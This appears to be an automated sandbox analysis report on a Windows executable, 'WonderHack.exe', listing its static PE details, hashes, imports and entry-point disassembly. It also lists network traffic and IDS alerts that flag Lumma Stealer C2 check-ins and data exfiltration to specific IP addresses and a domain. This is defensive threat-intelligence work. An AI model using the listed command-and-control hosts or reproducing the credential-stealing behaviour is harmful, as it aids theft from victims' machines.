Preview:	Enjoy!..

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.527755098511334
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	WonderHack.exe
File size:	573'952 bytes
MD5:	65fc002ab58b0dc2e95e19b1f308a354
SHA1:	68ccb931b324d2988f0bad099dac28ae10dd7588
SHA256:	42c47b4221417b2f52c1e783e06d01401b8064a715eb88c54c8d00db8016a2ec
SHA512:	1cab1a0d47868c026a5cb8d4a3da1e266dba024cb88bf0baee5a018d54ce509f37179e1630ba9fdff6d770f7eb90e22614b35dd36a39c5e717cb1a1f601ae9a9
SSDEEP:	12288:DRIomkRJWzi7X+UeyZAnLoyNmOo4Lr0pfX4cR+c5JP:De/kRJWzib+UnALoyNmOo4LgdN+GJP
TLSH:	07C4D0017550C032DE6731B364AAD7AA862EFA200F636ACF97480DBDDF355D19A3172B
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....hg.........."......(...........p............@.......................... .......l....@.....................................<..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4170bb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE
Time Stamp:	0x676819F1 [Sun Dec 22 13:53:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	1f5f01fd52677b24724028ad24992aa9

Entrypoint Preview

Instruction
call 00007F0B147F0A6Ah
jmp 00007F0B147F08D9h
mov ecx, dword ptr [00440700h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F0B147F0A66h
test esi, ecx
jne 00007F0B147F0A88h
call 00007F0B147F0A91h
mov ecx, eax
cmp ecx, edi
jne 00007F0B147F0A69h
mov ecx, BB40E64Fh
jmp 00007F0B147F0A70h
test esi, ecx
jne 00007F0B147F0A6Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [00440700h], ecx
not ecx
pop edi
mov dword ptr [00440740h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [0043D914h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [0043D8CCh]
xor dword ptr [ebp-04h], eax
call dword ptr [0043D8C8h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [0043D964h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00441E50h
call dword ptr [0043D93Ch]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007F0B147F8098h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3d6b4	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x91000	0x3e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x44000	0x2324	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x39968	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x35cf8	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3d860	0x170	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x326cc	0x32800	ccc71f71555262d04b28eeb13f33c694	False	0.5078125	data	6.449171689149143	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x34000	0xad9c	0xae00	265ca2e098c45dacae5fa86d5b3aa7cb	False	0.4167789152298851	locale data table	4.866718139159974	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3f000	0x3618	0x2600	34a18fbac611bd450c331e8e8b0fc570	False	0.31270559210526316	data	5.125689677633356	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x43000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x44000	0x2324	0x2400	a5356144ed5fdf31d774488bfaa21264	False	0.7392578125	data	6.496424389763303	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x47000	0x49600	0x49600	e87986d7cde0072f41d6ecee3edb590f	False	1.000336057282794	OpenPGP Secret Key	7.999431134473286	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x91000	0x3e8	0x400	64acc37535b725263869df252fd47b49	False	0.43359375	data	3.281274144562883	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x91058	0x390	data	English	United States	0.4517543859649123

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CompareStringW, CreateFileW, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

USER32.dll

DefWindowProcW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T00:48:02.275654+0100	2058212	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click)	1	192.168.2.4	54073	1.1.1.1	53	UDP
2024-12-23T00:48:34.217069+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	193.143.1.9	443	TCP
2024-12-23T00:49:06.217277+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	193.143.1.9	443	TCP
2024-12-23T00:49:09.290585+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49760	23.55.153.106	443	TCP
2024-12-23T00:49:10.056462+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49760	23.55.153.106	443	TCP
2024-12-23T00:49:11.733313+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49765	104.21.66.86	443	TCP
2024-12-23T00:49:12.482826+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49765	104.21.66.86	443	TCP
2024-12-23T00:49:12.482826+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49765	104.21.66.86	443	TCP
2024-12-23T00:49:13.815665+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49771	104.21.66.86	443	TCP
2024-12-23T00:49:14.582391+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49771	104.21.66.86	443	TCP
2024-12-23T00:49:14.582391+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49771	104.21.66.86	443	TCP
2024-12-23T00:49:16.153911+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49777	104.21.66.86	443	TCP
2024-12-23T00:49:17.087529+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49777	104.21.66.86	443	TCP
2024-12-23T00:49:18.401160+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49784	104.21.66.86	443	TCP
2024-12-23T00:49:20.953353+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49793	104.21.66.86	443	TCP
2024-12-23T00:49:23.663286+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49800	104.21.66.86	443	TCP
2024-12-23T00:49:26.284170+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49806	104.21.66.86	443	TCP
2024-12-23T00:49:30.201674+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49817	104.21.66.86	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 00:48:02.734030962 CET	49730	443	192.168.2.4	193.143.1.9
Dec 23, 2024 00:48:02.734076023 CET	443	49730	193.143.1.9	192.168.2.4
Dec 23, 2024 00:48:02.734174013 CET	49730	443	192.168.2.4	193.143.1.9
Dec 23, 2024 00:48:02.736915112 CET	49730	443	192.168.2.4	193.143.1.9
Dec 23, 2024 00:48:02.736931086 CET	443	49730	193.143.1.9	192.168.2.4
Dec 23, 2024 00:48:34.217068911 CET	49730	443	192.168.2.4	193.143.1.9
Dec 23, 2024 00:48:34.443051100 CET	49737	443	192.168.2.4	193.143.1.9
Dec 23, 2024 00:48:34.443126917 CET	443	49737	193.143.1.9	192.168.2.4
Dec 23, 2024 00:48:34.443217993 CET	49737	443	192.168.2.4	193.143.1.9
Dec 23, 2024 00:48:34.443582058 CET	49737	443	192.168.2.4	193.143.1.9
Dec 23, 2024 00:48:34.443614960 CET	443	49737	193.143.1.9	192.168.2.4
Dec 23, 2024 00:49:06.217277050 CET	49737	443	192.168.2.4	193.143.1.9
Dec 23, 2024 00:49:07.886631012 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:07.886708021 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:07.886818886 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:07.887151003 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:07.887186050 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:09.290340900 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:09.290585041 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:09.292335987 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:09.292350054 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:09.292699099 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:09.339071989 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:09.379380941 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.056622982 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.056684971 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.056725979 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.056744099 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.056833982 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.056891918 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:10.056891918 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:10.056936979 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.056979895 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:10.057075977 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:10.233875036 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.233941078 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.233977079 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:10.233998060 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.234095097 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:10.263920069 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.263973951 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.263999939 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:10.264014006 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.264054060 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:10.264112949 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.264213085 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:10.266022921 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:10.266062021 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.266087055 CET	49760	443	192.168.2.4	23.55.153.106
Dec 23, 2024 00:49:10.266100883 CET	443	49760	23.55.153.106	192.168.2.4
Dec 23, 2024 00:49:10.505487919 CET	49765	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:10.505517006 CET	443	49765	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:10.505593061 CET	49765	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:10.505882978 CET	49765	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:10.505893946 CET	443	49765	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:11.733098984 CET	443	49765	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:11.733313084 CET	49765	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:11.734860897 CET	49765	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:11.734865904 CET	443	49765	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:11.735363960 CET	443	49765	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:11.736491919 CET	49765	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:11.736510992 CET	49765	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:11.736579895 CET	443	49765	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:12.482942104 CET	443	49765	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:12.483202934 CET	443	49765	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:12.483262062 CET	49765	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:12.483655930 CET	49765	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:12.483669043 CET	443	49765	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:12.514930964 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:12.514969110 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:12.515084982 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:12.515387058 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:12.515400887 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:13.815565109 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:13.815665007 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:13.816943884 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:13.816952944 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:13.817276001 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:13.818515062 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:13.818545103 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:13.818592072 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.582496881 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.582628965 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.582674026 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.582686901 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.582797050 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.582839966 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.582848072 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.582968950 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.583014965 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.583020926 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.596352100 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.596419096 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.596426010 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.610574961 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.610651016 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.610656977 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.654572010 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.702038050 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.748326063 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.748383045 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.778318882 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.778410912 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.778433084 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.778455973 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.778570890 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.778585911 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.778652906 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.778757095 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.778986931 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.779005051 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.779016018 CET	49771	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.779022932 CET	443	49771	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.933125973 CET	49777	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.933223963 CET	443	49777	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:14.933383942 CET	49777	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.933653116 CET	49777	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:14.933687925 CET	443	49777	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:16.153753042 CET	443	49777	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:16.153911114 CET	49777	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:16.155582905 CET	49777	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:16.155615091 CET	443	49777	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:16.156301975 CET	443	49777	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:16.157481909 CET	49777	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:16.157655001 CET	49777	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:16.157742023 CET	443	49777	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:16.157820940 CET	49777	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:16.157835960 CET	443	49777	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:17.087660074 CET	443	49777	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:17.087891102 CET	443	49777	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:17.087970018 CET	49777	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:17.088052034 CET	49777	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:17.088088989 CET	443	49777	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:17.179697990 CET	49784	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:17.179744959 CET	443	49784	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:17.179824114 CET	49784	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:17.180084944 CET	49784	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:17.180113077 CET	443	49784	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:18.401031017 CET	443	49784	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:18.401160002 CET	49784	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:18.404786110 CET	49784	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:18.404820919 CET	443	49784	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:18.405239105 CET	443	49784	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:18.406471968 CET	49784	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:18.406805992 CET	49784	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:18.406852007 CET	443	49784	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:19.492739916 CET	443	49784	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:19.492990017 CET	443	49784	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:19.493052959 CET	49784	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:19.493119955 CET	49784	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:19.493139029 CET	443	49784	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:19.732254982 CET	49793	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:19.732289076 CET	443	49793	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:19.732369900 CET	49793	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:19.732749939 CET	49793	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:19.732764959 CET	443	49793	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:20.953237057 CET	443	49793	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:20.953352928 CET	49793	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:20.954494953 CET	49793	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:20.954504967 CET	443	49793	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:20.955197096 CET	443	49793	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:20.958548069 CET	49793	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:20.958652020 CET	49793	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:20.958690882 CET	443	49793	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:20.958781004 CET	49793	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:20.958791018 CET	443	49793	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:21.911938906 CET	443	49793	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:21.912178040 CET	443	49793	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:21.912237883 CET	49793	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:21.913855076 CET	49793	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:21.913866043 CET	443	49793	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:22.443367004 CET	49800	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:22.443398952 CET	443	49800	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:22.443731070 CET	49800	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:22.444041014 CET	49800	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:22.444055080 CET	443	49800	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:23.663167000 CET	443	49800	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:23.663285971 CET	49800	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:23.666248083 CET	49800	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:23.666256905 CET	443	49800	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:23.666678905 CET	443	49800	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:23.669106960 CET	49800	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:23.669178009 CET	49800	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:23.669183969 CET	443	49800	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:24.465372086 CET	443	49800	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:24.465621948 CET	443	49800	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:24.465711117 CET	49800	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:24.466039896 CET	49800	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:24.466058969 CET	443	49800	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:25.062551975 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:25.062587976 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:25.062666893 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:25.063044071 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:25.063061953 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:26.284091949 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:26.284169912 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.285254955 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.285264969 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:26.285743952 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:26.286955118 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.287750006 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.287791014 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:26.287894011 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.287929058 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:26.288041115 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.288095951 CET	443	49806	104.21.66.86	192.168.2.4
Dec 23, 2024 00:49:26.288224936 CET	49806	443	192.168.2.4	104.21.66.86
Dec 23, 2024 00:49:26.288249016 CET	443	49806	104.21.66.86	192.168.2.4
